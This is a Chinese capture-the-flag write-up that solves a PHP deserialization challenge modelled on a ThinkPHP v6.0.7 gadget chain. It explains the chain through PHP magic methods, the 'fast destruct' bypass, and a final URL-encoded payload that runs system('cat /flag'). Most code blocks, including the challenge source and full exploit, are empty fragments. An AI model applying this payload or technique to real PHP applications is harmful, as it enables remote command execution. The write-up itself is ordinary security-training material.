在一次内部赛中,偶遇一个反序列化题目,它是改编ThinkPHP v6.0.7 eval反序列化的一个题目,涉及的知识也比较经典.
源码附上
1 |
|
逐步分析
源码中有 destruct()
toString()
call()
这几个魔术方法
我们需要构造链子到达Evil
类执行cmd
方法达到命令执行的效果
魔术跳板
从destruct到toString
首先肯定要是从destruct()
方法入口,其中有字符串拼接 return “just go little” . $this->brother;
而$brother
是可控的,直接让其指向存在toString
方法的类就可以触发该魔术方法
这步需要的的操作就是
1 | public function __construct(){ |
提一下触发toString的条件
(1) echo($obj) / print($obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候
从toString到call
__call()
方法的触发是需要调用不存在的方法
而在toString
方法中就存在whoareyou方法没有被定义
1 | $this->warn->whoareyou($real_talk); |
而且warn
和real_talk
都是可控的,这个时候只需要让warn
指向存在call
方法的类就可以跳转,并且参数也传给 __call方法
这步所需要的操作为
1 | public function __construct() { |
分析Soeasy类
1 | class Soeasy { |
当参数传给__call
时
$method
为 ‘whoareyou’ $args
为数组 [‘$real_talk’]
通过array_push
函数(用法:向数组尾部插入一个或多个元素)
使$args
变成 [‘$real_talk’,’whoareyou’]
然后通过call_user_func_array
函数将数据$args传入ohhh方法中
此时
1 | $value=$real_talk $rule=whoareyou |
此刻在Soeasy类下面定义一下
1 | public function __construct() { |
就会将$real_talk
参数传入Evil类的cmd方法中,进行命令执行
分析完毕
完整EXP
1 |
|
但是输入payload后仍然会报错
问题就出现在这行代码
1 | throw new Exception("快点学会反序列化好么"); |
它会在反序列化之前开始报错,我们必须绕过它
fast destruct
提前反序列化就要运用到fast destruct
在著名的php反序列工具phpggc中提及了这一概念。具体来说,在PHP中有:
>1. 如果单独执行unserialize
函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。
> 2. 如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。
>
但是通过 fast destruct
我们可以跳出这种固定的生命周期
方法是修改序列化字符串的结构,利用错误的结构导致只完成了部分反序列化的 unserialize 强制退出,提前触发 __destruct()
可以去掉末尾的}
删的一个不剩都可以
或者更改生成序列化的数字元素个数
或者在末尾最后一个}
前插入一些奇奇怪怪的字符;
、.
等等等等
Payload
1 | O%3A6%3A%22Gogogo%22%3A1%3A%7Bs%3A7%3A%22brother%22%3BO%3A4%3A%22Stop%22%3A2%3A%7Bs%3A12%3A%22%00%2A%00real_talk%22%3Bs%3A28%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3B%3F%3E%22%3Bs%3A7%3A%22%00%2A%00warn%22%3BO%3A6%3A%22Soeasy%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A9%3A%22whoareyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Evil%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00code%22%3BN%3B%7Di%3A1%3Bs%3A3%3A%22cmd%22%3B%7D |